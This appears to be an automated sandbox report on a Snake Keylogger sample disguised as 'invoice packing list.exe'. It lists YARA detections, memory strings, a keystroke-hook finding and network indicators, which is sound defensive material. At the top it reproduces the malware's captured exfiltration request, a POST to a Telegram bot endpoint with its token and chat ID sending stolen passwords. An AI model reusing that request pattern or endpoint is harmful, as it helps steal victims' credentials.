HTTP traffic detected: POST /bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendDocument?chat_id=7207594974&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd50c266b4e61cHost: api.telegram.orgContent-Length: 570Connection: Keep-Alive

Source: invoice packing list.exe, 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003134000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000314F000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000318B000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003094000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003127000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000317C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003134000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000314F000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000318B000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003094000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003127000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000317C000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000315D000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.00000000030D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: invoice packing list.exe, 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003134000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000314F000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000318B000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003127000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000317C000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: invoice packing list.exe, 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: invoice packing list.exe, 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: invoice packing list.exe, 00000005.00000002.4490656225.000000000328E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendDocument?chat_id=7207
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003134000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000314F000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000318B000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003094000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003127000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000317C000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.00000000030D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: invoice packing list.exe, 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003094000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: invoice packing list.exe, 00000005.00000002.4490656225.00000000030D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: invoice packing list.exe, 00000005.00000002.4490656225.0000000003134000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000314F000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000318B000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.0000000003127000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.000000000317C000.00000004.00000800.00020000.00000000.sdmp, invoice packing list.exe, 00000005.00000002.4490656225.00000000030D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49725 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: invoice packing list.exe, HookManager.cs

.Net Code: EnsureSubscribedToGlobalKeyboardEvents

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.4260d28.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.4329568.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.invoice packing list.exe.42c5148.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.4488887309.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: invoice packing list.exe PID: 3008, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: invoice packing list.exe PID: 3716, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: invoice packing list.exe

Source: C:\Users\user\Desktop\invoice packing list.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_02703E0C	0_2_02703E0C
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_02707390	0_2_02707390
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E271B8	0_2_04E271B8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E27388	0_2_04E27388
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E284C7	0_2_04E284C7
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E20040	0_2_04E20040
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E2E127	0_2_04E2E127
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E2E138	0_2_04E2E138
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E209F0	0_2_04E209F0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E20A00	0_2_04E20A00
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 0_2_04E27379	0_2_04E27379
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_01486108	5_2_01486108
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148C190	5_2_0148C190
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148F007	5_2_0148F007
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148B328	5_2_0148B328
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148C470	5_2_0148C470
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148C751	5_2_0148C751
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_01486730	5_2_01486730
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_01489858	5_2_01489858
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148BBD2	5_2_0148BBD2
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148CA31	5_2_0148CA31
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_01484AD9	5_2_01484AD9
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148BEB0	5_2_0148BEB0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_01483570	5_2_01483570
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148E517	5_2_0148E517
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148E528	5_2_0148E528
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_0148B4F2	5_2_0148B4F2
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7EF6	5_2_06BC7EF6
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCBE00	5_2_06BCBE00
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC9E78	5_2_06BC9E78
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCB7B0	5_2_06BCB7B0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCA4C0	5_2_06BCA4C0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCC448	5_2_06BCC448
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCDD3A	5_2_06BCDD3A
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCAB10	5_2_06BCAB10
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC9830	5_2_06BC9830
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC11A0	5_2_06BC11A0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC91E0	5_2_06BC91E0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7910	5_2_06BC7910
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCB160	5_2_06BCB160
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC3600	5_2_06BC3600
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC9E67	5_2_06BC9E67
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC67B0	5_2_06BC67B0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC67A0	5_2_06BC67A0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCB7A0	5_2_06BCB7A0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC47E8	5_2_06BC47E8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC47DA	5_2_06BC47DA
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7F58	5_2_06BC7F58
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC74B8	5_2_06BC74B8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCA4B0	5_2_06BCA4B0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC74A8	5_2_06BC74A8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0498	5_2_06BC0498
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0488	5_2_06BC0488
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC54F0	5_2_06BC54F0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC54E2	5_2_06BC54E2
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCC438	5_2_06BCC438
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC4C30	5_2_06BC4C30
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC6C08	5_2_06BC6C08
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC4C40	5_2_06BC4C40
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC5DA0	5_2_06BC5DA0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC5D92	5_2_06BC5D92
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCBDF3	5_2_06BCBDF3
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0D39	5_2_06BC0D39
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0D48	5_2_06BC0D48
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC6220	5_2_06BC6220
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC6210	5_2_06BC6210
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC6BF8	5_2_06BC6BF8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCAB02	5_2_06BCAB02
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC4368	5_2_06BC4368
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC4358	5_2_06BC4358
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC5098	5_2_06BC5098
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC508A	5_2_06BC508A
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC08F0	5_2_06BC08F0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC08E0	5_2_06BC08E0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC9820	5_2_06BC9820
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0006	5_2_06BC0006
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7060	5_2_06BC7060
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7054	5_2_06BC7054
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC0040	5_2_06BC0040
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC1191	5_2_06BC1191
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC91D0	5_2_06BC91D0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC2900	5_2_06BC2900
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC7900	5_2_06BC7900
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BCB150	5_2_06BCB150
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 5_2_06BC5948	5_2_06BC5948

Source: invoice packing list.exe, 00000000.00000002.2039047487.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2049167889.00000000052E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2039673818.0000000002620000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2043114351.00000000040BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000000.2027180144.0000000000422000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIhJW.exeF vs invoice packing list.exe
Source: invoice packing list.exe, 00000000.00000002.2040181674.00000000028B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs invoice packing list.exe
Source: invoice packing list.exe, 00000005.00000002.4488887309.0000000000422000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs invoice packing list.exe
Source: invoice packing list.exe, 00000005.00000002.4489030628.0000000000DA7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs invoice packing list.exe
Source: invoice packing list.exe	Binary or memory string: OriginalFilenameIhJW.exeF vs invoice packing list.exe

Source: invoice packing list.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.invoice packing list.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.4329568.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.invoice packing list.exe.3888088.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
